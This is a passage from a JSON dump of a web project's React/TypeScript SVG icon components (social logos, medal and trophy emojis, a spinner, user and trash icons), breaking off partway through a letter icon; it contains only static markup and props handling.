    "content": "type GroupIconProps = {\n  className?: string;\n};\nexport function GroupIcon(props: GroupIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      stroke=\"currentColor\"\n      strokeWidth=\"2\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      className={className}\n    >\n      <path d=\"M16 21v-2a4 4 0 0 0-4-4H6a4 4 0 0 0-4 4v2\" />\n      <circle cx=\"9\" cy=\"7\" r=\"4\" />\n      <path d=\"M22 21v-2a4 4 0 0 0-3-3.87\" />\n      <path d=\"M16 3.13a4 4 0 0 1 0 7.75\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/GuideIcon.tsx",
    "content": "type GuideIconProps = {\n  className?: string;\n};\nexport function GuideIcon(props: GuideIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      fill=\"none\"\n      viewBox=\"0 0 24 24\"\n      strokeWidth=\"1.5\"\n      stroke=\"currentColor\"\n      className={className}\n    >\n      <path\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        d=\"M9 6.75V15m6-6v8.25m.503 3.498l4.875-2.437c.381-.19.622-.58.622-1.006V4.82c0-.836-.88-1.38-1.628-1.006l-3.869 1.934c-.317.159-.69.159-1.006 0L9.503 3.252a1.125 1.125 0 00-1.006 0L3.622 5.689C3.24 5.88 3 6.27 3 6.695V19.18c0 .836.88 1.38 1.628 1.006l3.869-1.934c.317-.159.69-.159 1.006 0l4.994 2.497c.317.158.69.158 1.006 0z\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/HackerNewsIcon.tsx",
    "content": "import { cn } from '../../lib/classname';\n\ninterface HackerNewsIconProps {\n  className?: string;\n}\n\nexport function HackerNewsIcon(props: HackerNewsIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      viewBox=\"0 0 448 512\"\n      fill=\"currentColor\"\n      className={cn('h-[26px] w-[26px]', className)}\n    >\n      <path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.2 229.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/HomeIcon.tsx",
    "content": "type HomeIconProps = {\n  className?: string;\n};\nexport function HomeIcon(props: HomeIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      fill=\"none\"\n      viewBox=\"0 0 24 24\"\n      strokeWidth=\"1.5\"\n      stroke=\"currentColor\"\n      className={className}\n    >\n      <path\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        d=\"M2.25 12l8.954-8.955c.44-.439 1.152-.439 1.591 0L21.75 12M4.5 9.75v10.125c0 .621.504 1.125 1.125 1.125H9.75v-4.875c0-.621.504-1.125 1.125-1.125h2.25c.621 0 1.125.504 1.125 1.125V21h4.125c.621 0 1.125-.504 1.125-1.125V9.75M8.25 21h8.25\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/InfoIcon.tsx",
    "content": "type InfoIconProps = {\n  additionalClasses?: string;\n};\n\nexport function InfoIcon(props: InfoIconProps) {\n  const { additionalClasses = 'mr-2 top-[0.5px] w-[20px] h-[20px]' } = props;\n\n  return (\n    <svg\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={`relative ${additionalClasses}`}\n    >\n      <path\n        d=\"M12 22C17.5228 22 22 17.5228 22 12C22 6.47715 17.5228 2 12 2C6.47715 2 2 6.47715 2 12C2 17.5228 6.47715 22 12 22Z\"\n        fill=\"currentColor\"\n        stroke=\"currentColor\"\n        strokeWidth=\"2\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M12 16V12\"\n        stroke=\"white\"\n        strokeWidth=\"2\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M12 8H12.01\"\n        stroke=\"white\"\n        strokeWidth=\"2\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/LinkedInIcon.tsx",
    "content": "interface LinkedInIconProps {\n  className?: string;\n}\n\nexport function LinkedInIcon(props: LinkedInIconProps) {\n  const { className } = props;\n  return (\n    <svg\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={className}\n    >\n      <g clipPath=\"url(#clip0_2344_20)\">\n        <path\n          d=\"M0 0V24H24V0H0ZM8 19H5V8H8V19ZM6.5 6.732C5.534 6.732 4.75 5.942 4.75 4.968C4.75 3.994 5.534 3.204 6.5 3.204C7.466 3.204 8.25 3.994 8.25 4.968C8.25 5.942 7.467 6.732 6.5 6.732ZM20 19H17V13.396C17 10.028 13 10.283 13 13.396V19H10V8H13V9.765C14.397 7.179 20 6.988 20 12.241V19Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n      <defs>\n        <clipPath id=\"clip0_2344_20\">\n          <rect width=\"24\" height=\"24\" rx=\"2\" fill=\"white\" />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/MoreVerticalIcon.tsx",
    "content": "type MoreVerticalIconProps = {\n  className?: string;\n};\n\nexport function MoreVerticalIcon(props: MoreVerticalIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      clipRule=\"evenodd\"\n      fillRule=\"evenodd\"\n      strokeLinejoin=\"round\"\n      strokeMiterlimit=\"2\"\n      viewBox=\"0 0 24 24\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={className}\n    >\n      <path d=\"m12 16.495c1.242 0 2.25 1.008 2.25 2.25s-1.008 2.25-2.25 2.25-2.25-1.008-2.25-2.25 1.008-2.25 2.25-2.25zm0-6.75c1.242 0 2.25 1.008 2.25 2.25s-1.008 2.25-2.25 2.25-2.25-1.008-2.25-2.25 1.008-2.25 2.25-2.25zm0-6.75c1.242 0 2.25 1.008 2.25 2.25s-1.008 2.25-2.25 2.25-2.25-1.008-2.25-2.25 1.008-2.25 2.25-2.25z\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/OutlookCalendarIcon.tsx",
    "content": "import type { SVGProps } from 'react';\n\nexport function OutlookCalendarIcon(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      x=\"0px\"\n      y=\"0px\"\n      width={100}\n      height={100}\n      viewBox=\"0 0 48 48\"\n      {...props}\n    >\n      <path\n        fill=\"#1976d2\"\n        d=\"M28,13h14.533C43.343,13,44,13.657,44,14.467v19.066C44,34.343,43.343,35,42.533,35H28V13z\"\n      />\n      <rect width={14} height=\"15.542\" x={28} y=\"17.958\" fill=\"#fff\" />\n      <polygon fill=\"#1976d2\" points=\"27,44 4,39.5 4,8.5 27,4\" />\n      <path\n        fill=\"#fff\"\n        d=\"M15.25,16.5c-3.176,0-5.75,3.358-5.75,7.5s2.574,7.5,5.75,7.5S21,28.142,21,24\tS18.426,16.5,15.25,16.5z M15,28.5c-1.657,0-3-2.015-3-4.5s1.343-4.5,3-4.5s3,2.015,3,4.5S16.657,28.5,15,28.5z\"\n      />\n      <rect width=\"2.7\" height=\"2.9\" x=\"28.047\" y=\"29.737\" fill=\"#1976d2\" />\n      <rect width=\"2.7\" height=\"2.9\" x=\"31.448\" y=\"29.737\" fill=\"#1976d2\" />\n      <rect width=\"2.7\" height=\"2.9\" x=\"34.849\" y=\"29.737\" fill=\"#1976d2\" />\n      <rect width=\"2.7\" height=\"2.9\" x=\"28.047\" y=\"26.159\" fill=\"#1976d2\" />\n      <rect width=\"2.7\" height=\"2.9\" x=\"31.448\" y=\"26.159\" fill=\"#1976d2\" />\n      <rect width=\"2.7\" height=\"2.9\" x=\"34.849\" y=\"26.159\" fill=\"#1976d2\" />\n      <rect width=\"2.7\" height=\"2.9\" x=\"38.25\" y=\"26.159\" fill=\"#1976d2\" />\n      <rect width=\"2.7\" height=\"2.9\" x=\"28.047\" y=\"22.706\" fill=\"#1976d2\" />\n      <rect width=\"2.7\" height=\"2.9\" x=\"31.448\" y=\"22.706\" fill=\"#1976d2\" />\n      <rect width=\"2.7\" height=\"2.9\" x=\"34.849\" y=\"22.706\" fill=\"#1976d2\" />\n      <rect width=\"2.7\" height=\"2.9\" x=\"38.25\" y=\"22.706\" fill=\"#1976d2\" />\n      <rect width=\"2.7\" height=\"2.9\" x=\"31.448\" y=\"19.112\" fill=\"#1976d2\" />\n      <rect width=\"2.7\" height=\"2.9\" x=\"34.849\" y=\"19.112\" fill=\"#1976d2\" />\n      <rect width=\"2.7\" height=\"2.9\" x=\"38.25\" y=\"19.112\" fill=\"#1976d2\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/RedditIcon.tsx",
    "content": "import { cn } from '../../lib/classname';\n\ninterface RedditIconProps {\n  className?: string;\n}\n\nexport function RedditIcon(props: RedditIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      viewBox=\"0 0 448 512\"\n      fill=\"currentColor\"\n      className={cn('h-[26px] w-[26px]', className)}\n    >\n      <path d=\"M283.2 345.5c2.7 2.7 2.7 6.8 0 9.2-24.5 24.5-93.8 24.6-118.4 0-2.7-2.4-2.7-6.5 0-9.2 2.4-2.4 6.5-2.4 8.9 0 18.7 19.2 81 19.6 100.5 0 2.4-2.3 6.6-2.3 9 0zm-91.3-53.8c0-14.9-11.9-26.8-26.5-26.8a26.67 26.67 0 0 0-26.8 26.8c0 14.6 11.9 26.5 26.8 26.5 14.6 0 26.5-11.9 26.5-26.5zm90.7-26.8c-14.6 0-26.5 11.9-26.5 26.8 0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-11.9 26.8-26.5a26.67 26.67 0 0 0-26.8-26.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-99.7 140.6c-10.1 0-19 4.2-25.6 10.7-24.1-16.7-56.5-27.4-92.5-28.6l18.7-84.2 59.5 13.4c0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-12.2 26.8-26.8s-11.9-26.8-26.8-26.8c-10.4 0-19.3 6.2-23.8 14.9l-65.7-14.6c-3.3-.9-6.5 1.5-7.4 4.8l-20.5 92.8c-35.7 1.5-67.8 12.2-91.9 28.9-6.5-6.8-15.8-11-25.9-11-37.5 0-49.8 50.4-15.5 67.5-1.2 5.4-1.8 11-1.8 16.7 0 56.5 63.7 102.3 141.9 102.3 78.5 0 142.2-45.8 142.2-102.3 0-5.7-.6-11.6-2.1-17 33.6-17.2 21.2-67.2-16.1-67.2z\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/RoadmapIcon.tsx",
    "content": "type RoadmapIconProps = {\n  className?: string;\n};\nexport function RoadmapIcon(props: RoadmapIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      stroke=\"currentColor\"\n      strokeWidth=\"1.5\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      className={className}\n    >\n      <path d=\"M18 6H5a2 2 0 0 0-2 2v3a2 2 0 0 0 2 2h13l4-3.5L18 6Z\"></path>\n      <path d=\"M12 13v8\"></path>\n      <path d=\"M12 3v3\"></path>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/RoadmapLogo.tsx",
    "content": "import type { SVGProps } from 'react';\n\ntype RoadmapLogoIconProps = SVGProps<SVGSVGElement> & {\n  color?: 'white' | 'black';\n};\n\nexport function RoadmapLogoIcon(props: RoadmapLogoIconProps) {\n  const { color = 'white', ...rest } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"30\"\n      height=\"30\"\n      viewBox=\"0 0 283 283\"\n      {...rest}\n    >\n      <path\n        fill={color === 'black' ? '#000' : '#fff'}\n        d=\"M0 39C0 17.46 17.46 0 39 0h205c21.539 0 39 17.46 39 39v205c0 21.539-17.461 39-39 39H39c-21.54 0-39-17.461-39-39V39Z\"\n      />\n      <path\n        fill={color === 'black' ? '#fff' : '#000'}\n        d=\"M121.215 210.72c-1.867.56-4.854 1.12-8.96 1.68-3.92.56-8.027.84-12.32.84-4.107 0-7.84-.28-11.2-.84-3.174-.56-5.88-1.68-8.12-3.36s-4.014-3.92-5.32-6.72c-1.12-2.987-1.68-6.813-1.68-11.48v-84c0-4.293.746-7.933 2.24-10.92 1.68-3.173 4.013-5.973 7-8.4s6.626-4.573 10.92-6.44c4.48-2.053 9.24-3.827 14.28-5.32a106.176 106.176 0 0 1 15.68-3.36 95.412 95.412 0 0 1 16.24-1.4c8.96 0 16.053 1.773 21.28 5.32 5.226 3.36 7.84 8.96 7.84 16.8 0 2.613-.374 5.227-1.12 7.84-.747 2.427-1.68 4.667-2.8 6.72a133.1 133.1 0 0 0-12.04.56c-4.107.373-8.12.933-12.04 1.68s-7.654 1.587-11.2 2.52c-3.36.747-6.254 1.68-8.68 2.8v95.48zm45.172-22.4c0-7.84 2.426-14.373 7.28-19.6s11.48-7.84 19.88-7.84 15.026 2.613 19.88 7.84 7.28 11.76 7.28 19.6-2.427 14.373-7.28 19.6-11.48 7.84-19.88 7.84-15.027-2.613-19.88-7.84-7.28-11.76-7.28-19.6z\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/SecondPlaceMedalEmoji.tsx",
    "content": "import React from 'react';\nimport type { SVGProps } from 'react';\n\nexport function SecondPlaceMedalEmoji(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"1em\"\n      height=\"1em\"\n      viewBox=\"0 0 36 36\"\n      {...props}\n    >\n      <path fill=\"#55acee\" d=\"m18 8l-7-8H0l14 17l11.521-4.75z\"></path>\n      <path fill=\"#3b88c3\" d=\"m25 0l-7 8l5.39 7.312l1.227-1.489L36 0z\"></path>\n      <path\n        fill=\"#ccd6dd\"\n        d=\"M23.205 16.026c.08-.217.131-.448.131-.693a2 2 0 0 0-2-2h-6.667a2 2 0 0 0-2 2c0 .245.05.476.131.693c-3.258 1.826-5.464 5.307-5.464 9.307C7.335 31.224 12.111 36 18.002 36s10.667-4.776 10.667-10.667c0-4-2.206-7.481-5.464-9.307\"\n      ></path>\n      <path\n        fill=\"#627077\"\n        d=\"M22.002 28.921h-3.543c.878-1.234 2.412-3.234 3.01-4.301c.449-.879.729-1.439.729-2.43c0-2.076-1.57-3.777-4.244-3.777c-2.225 0-3.74 1.832-3.74 1.832c-.131.15-.112.374.019.487l1.141 1.159a.36.36 0 0 0 .523 0c.355-.393 1.047-.935 1.813-.935c1.047 0 1.646.635 1.646 1.346c0 .523-.243 1.047-.486 1.421c-1.104 1.682-3.871 5.441-4.955 6.862v.374c0 .188.149.355.355.355h7.732a.37.37 0 0 0 .355-.355v-1.682a.367.367 0 0 0-.355-.356\"\n      ></path>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/ShareIcon.tsx",
    "content": "import type { SVGAttributes } from 'react';\n\ntype ShareIconProps = SVGAttributes<SVGSVGElement>;\n\nexport function ShareIcon(props: ShareIconProps) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      stroke=\"currentColor\"\n      strokeWidth=\"2\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      {...props}\n    >\n      <path d=\"M4 12v8a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2v-8\" />\n      <polyline points=\"16 6 12 2 8 6\" />\n      <line x1=\"12\" x2=\"12\" y1=\"2\" y2=\"15\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/Spinner.tsx",
    "content": "type SpinnerProps = {\n  className?: string;\n  isDualRing?: boolean;\n  outerFill?: string;\n  innerFill?: string;\n};\n\nexport function Spinner({\n  className = '',\n  isDualRing = true,\n  outerFill = '#404040',\n  innerFill = '#94a3b8',\n}: SpinnerProps) {\n  className += className?.includes('w-') ? '' : ' w-3.5 h-3.5';\n\n  return (\n    <svg\n      className={`animate-spin ${className ?? ''}`}\n      viewBox=\"0 0 93 93\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n    >\n      {isDualRing && (\n        <path\n          fillRule=\"evenodd\"\n          clipRule=\"evenodd\"\n          d=\"M46.5 93C72.1812 93 93 72.1812 93 46.5C93 20.8188 72.1812 0 46.5 0C20.8188 0 0 20.8188 0 46.5C0 72.1812 20.8188 93 46.5 93ZM46.5 77C63.3447 77 77 63.3447 77 46.5C77 29.6553 63.3447 16 46.5 16C29.6553 16 16 29.6553 16 46.5C16 63.3447 29.6553 77 46.5 77Z\"\n          style={{ fill: outerFill }}\n        ></path>\n      )}\n      <path\n        d=\"M84.9746 49.5667C89.3257 49.9135 93.2042 46.6479 92.81 42.3008C92.3588 37.3251 91.1071 32.437 89.0872 27.8298C86.0053 20.7998 81.2311 14.6422 75.1905 9.90623C69.15 5.17027 62.031 2.00329 54.4687 0.687889C49.5126 -0.174203 44.467 -0.223422 39.5274 0.525737C35.2118 1.18024 32.966 5.72596 34.3411 9.86865V9.86865C35.7161 14.0113 40.2118 16.1424 44.5681 15.8677C46.9635 15.7166 49.3773 15.8465 51.7599 16.2609C56.7515 17.1291 61.4505 19.2196 65.4377 22.3456C69.4249 25.4717 72.5762 29.5362 74.6105 34.1764C75.5815 36.3912 76.2835 38.7044 76.7084 41.0666C77.4811 45.3626 80.6234 49.2199 84.9746 49.5667V49.5667Z\"\n        style={{ fill: innerFill }}\n      ></path>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/StopIcon.tsx",
    "content": "type CheckIconProps = {\n  additionalClasses?: string;\n};\n\nexport function StopIcon(props: CheckIconProps) {\n  const { additionalClasses = 'mr-2 w-[20px] h-[20px]' } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      stroke=\"currentColor\"\n      strokeWidth=\"2\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      className={`relative ${additionalClasses}`}\n    >\n      <circle cx=\"12\" cy=\"12\" r=\"10\" />\n      <path d=\"m4.9 4.9 14.2 14.2\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/TeamProgressIcon.tsx",
    "content": "type TeamProgressIconProps = {\n  className?: string;\n};\nexport function TeamProgressIcon(props: TeamProgressIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      stroke=\"currentColor\"\n      strokeWidth=\"2\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      className={className}\n    >\n      <path d=\"M3 3v18h18\" />\n      <path d=\"m19 9-5 5-4-4-3 3\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/ThirdPlaceMedalEmoji.tsx",
    "content": "import React from 'react';\nimport type { SVGProps } from 'react';\n\nexport function ThirdPlaceMedalEmoji(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"1em\"\n      height=\"1em\"\n      viewBox=\"0 0 36 36\"\n      {...props}\n    >\n      <path fill=\"#55ACEE\" d=\"m18 8l-7-8H0l14 17l11.521-4.75z\"></path>\n      <path fill=\"#3B88C3\" d=\"m25 0l-7 8l5.39 7.312l1.227-1.489L36 0z\"></path>\n      <path\n        fill=\"#FF8A3B\"\n        d=\"M23.205 16.026c.08-.217.131-.448.131-.693a2 2 0 0 0-2-2h-6.667a2 2 0 0 0-2 2c0 .245.05.476.131.693c-3.258 1.826-5.464 5.307-5.464 9.307C7.335 31.224 12.111 36 18.002 36s10.667-4.776 10.667-10.667c0-4-2.206-7.481-5.464-9.307\"\n      ></path>\n      <path\n        fill=\"#7C4119\"\n        d=\"m14.121 29.35l1.178-1.178a.345.345 0 0 1 .467-.038s1.159.861 2.056.861c.805 0 1.628-.673 1.628-1.496s-.842-1.514-2.225-1.514h-.639a.367.367 0 0 1-.354-.355v-1.552c0-.206.168-.355.354-.355h.639c1.309 0 2-.635 2-1.439c0-.805-.691-1.402-1.496-1.402c-.823 0-1.346.43-1.626.747c-.132.15-.355.15-.504.02l-1.141-1.122c-.151-.132-.132-.355 0-.486c0 0 1.533-1.646 3.57-1.646c2.169 0 4.039 1.328 4.039 3.422c0 1.439-1.085 2.505-1.926 2.897v.057c.879.374 2.262 1.533 2.262 3.141c0 2.038-1.776 3.572-4.357 3.572c-2.354 0-3.552-1.16-3.944-1.664c-.113-.134-.093-.34.019-.47\"\n      ></path>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/TrashIcon.tsx",
    "content": "type TrashIconProps = {\n  className?: string;\n};\nexport function TrashIcon(props: TrashIconProps) {\n  const { className = '' } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      stroke=\"currentColor\"\n      strokeWidth=\"2\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      className={className}\n    >\n      <path d=\"M3 6h18\" />\n      <path d=\"M19 6v14c0 1-1 2-2 2H7c-1 0-2-1-2-2V6\" />\n      <path d=\"M8 6V4c0-1 1-2 2-2h4c1 0 2 1 2 2v2\" />\n      <line x1=\"10\" x2=\"10\" y1=\"11\" y2=\"17\" />\n      <line x1=\"14\" x2=\"14\" y1=\"11\" y2=\"17\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/TrophyEmoji.tsx",
    "content": "import React from 'react';\nimport type { SVGProps } from 'react';\n\nexport function TrophyEmoji(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"1em\"\n      height=\"1em\"\n      viewBox=\"0 0 36 36\"\n      {...props}\n    >\n      <path\n        fill=\"#ffac33\"\n        d=\"M5.123 5h6C12.227 5 13 4.896 13 6V4c0-1.104-.773-2-1.877-2h-8c-2 0-3.583 2.125-3 5c0 0 1.791 9.375 1.917 9.958C2.373 18.5 4.164 20 6.081 20h6.958c1.105 0-.039-1.896-.039-3v-2c0 1.104-.773 2-1.877 2h-4c-1.104 0-1.833-1.042-2-2S3.539 7.667 3.539 7.667C3.206 5.75 4.018 5 5.123 5m25.812 0h-6C23.831 5 22 4.896 22 6V4c0-1.104 1.831-2 2.935-2h8c2 0 3.584 2.125 3 5c0 0-1.633 9.419-1.771 10c-.354 1.5-2.042 3-4 3h-7.146C21.914 20 22 18.104 22 17v-2c0 1.104 1.831 2 2.935 2h4c1.104 0 1.834-1.042 2-2s1.584-7.333 1.584-7.333C32.851 5.75 32.04 5 30.935 5M20.832 22c0-6.958-2.709 0-2.709 0s-3-6.958-3 0s-3.291 10-3.291 10h12.292c-.001 0-3.292-3.042-3.292-10\"\n      ></path>\n      <path\n        fill=\"#ffcc4d\"\n        d=\"M29.123 6.577c0 6.775-6.77 18.192-11 18.192s-11-11.417-11-18.192c0-5.195 1-6.319 3-6.319c1.374 0 6.025-.027 8-.027l7-.001c2.917-.001 4 .684 4 6.347\"\n      ></path>\n      <path\n        fill=\"#c1694f\"\n        d=\"M27 33c0 1.104.227 2-.877 2h-16C9.018 35 9 34.104 9 33v-1c0-1.104 1.164-2 2.206-2h13.917c1.042 0 1.877.896 1.877 2z\"\n      ></path>\n      <path\n        fill=\"#c1694f\"\n        d=\"M29 34.625c0 .76.165 1.375-1.252 1.375H8.498C7.206 36 7 35.385 7 34.625v-.25C7 33.615 7.738 33 8.498 33h19.25c.759 0 1.252.615 1.252 1.375z\"\n      ></path>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/TwitterIcon.tsx",
    "content": "interface TwitterIconProps {\n  className?: string;\n  boxColor?: string;\n}\n\nexport function TwitterIcon(props: TwitterIconProps) {\n  const { className, boxColor = 'transparent' } = props;\n\n  return (\n    <svg\n      width=\"23\"\n      height=\"23\"\n      viewBox=\"0 0 23 23\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={className}\n    >\n      <rect width=\"23\" height=\"23\" rx=\"3\" fill={boxColor} />\n      <path\n        d=\"M12.9285 10.3522L18.5135 4H17.1905L12.339 9.5144L8.467 4H4L9.8565 12.3395L4 19H5.323L10.443 13.1754L14.533 19H19M5.8005 4.97619H7.833L17.1895 18.0718H15.1565\"\n        fill=\"currentColor\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/UserIcon.tsx",
    "content": "type UserIconProps = {\n  className?: string;\n};\nexport function UserIcon(props: UserIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      stroke=\"currentColor\"\n      fill=\"currentColor\"\n      strokeWidth=\"0\"\n      viewBox=\"0 0 1024 1024\"\n      height=\"1em\"\n      width=\"1em\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={className}\n    >\n      <path d=\"M858.5 763.6a374 374 0 0 0-80.6-119.5 375.63 375.63 0 0 0-119.5-80.6c-.4-.2-.8-.3-1.2-.5C719.5 518 760 444.7 760 362c0-137-111-248-248-248S264 225 264 362c0 82.7 40.5 156 102.8 201.1-.4.2-.8.3-1.2.5-44.8 18.9-85 46-119.5 80.6a375.63 375.63 0 0 0-80.6 119.5A371.7 371.7 0 0 0 136 901.8a8 8 0 0 0 8 8.2h60c4.4 0 7.9-3.5 8-7.8 2-77.2 33-149.5 87.8-204.3 56.7-56.7 132-87.9 212.2-87.9s155.5 31.2 212.2 87.9C779 752.7 810 825 812 902.2c.1 4.4 3.6 7.8 8 7.8h60a8 8 0 0 0 8-8.2c-1-47.8-10.9-94.3-29.5-138.2zM512 534c-45.9 0-89.1-17.9-121.6-50.4S340 407.9 340 362c0-45.9 17.9-89.1 50.4-121.6S466.1 190 512 190s89.1 17.9 121.6 50.4S684 316.1 684 362c0 45.9-17.9 89.1-50.4 121.6S557.9 534 512 534z\"></path>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/UsersIcon.tsx",
    "content": "type UsersIconProps = {\n  className?: string;\n};\nexport function UsersIcon(props: UsersIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      stroke=\"currentColor\"\n      strokeWidth=\"2\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      className={className}\n    >\n      <path d=\"M16 21v-2a4 4 0 0 0-4-4H6a4 4 0 0 0-4 4v2\"></path>\n      <circle cx=\"9\" cy=\"7\" r=\"4\"></circle>\n      <path d=\"M22 21v-2a4 4 0 0 0-3-3.87\"></path>\n      <path d=\"M16 3.13a4 4 0 0 1 0 7.75\"></path>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/VerifyLetterIcon.tsx",
    "content": "type VerifyLetterIconProps = {\n  className?: string;\n};\n\nexport function VerifyLetterIcon(props: VerifyLetterIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      viewBox=\"0 0 256 256\"\n      className={className}\n    >\n      <path\n        fill=\"#f79219\"\n        d=\"M222.58,114.782c0-8.69-3.979-16.901-10.8-22.286l-69.526-54.889c-8.357-6.598-20.15-6.598-28.508,0 L44.22,92.496c-6.82,5.385-10.8,13.596-10.8,22.286v12.732H222.58V114.782z\"\n      />\n      <path\n        fill=\"#ffa91a\"\n        d=\"M213.336,223.341H42.664c-5.105,0-9.244-4.138-9.244-9.244V113.116c0-5.105,4.138-9.244,9.244-9.244 h170.672c5.105,0,9.244,4.139,9.244,9.244v100.981C222.58,219.203,218.441,223.341,213.336,223.341z\"\n      />\n      <path\n        fill=\"#f79219\"\n        d=\"M213.336,103.872h-0.756v100.225c0,5.105-4.138,9.244-9.244,9.244H33.42v0.756 c0,5.105,4.138,9.244,9.244,9.244h170.672c5.105,0,9.244-4.138,9.244-9.244V113.116 C222.58,108.011,218.441,103.872,213.336,103.872z\"\n      />\n      <path\n        fill=\"#ef7816\"\n        d=\"M213.336,103.872H42.664c-4.488,0-8.229,3.199-9.067,7.441l79.417,62.697 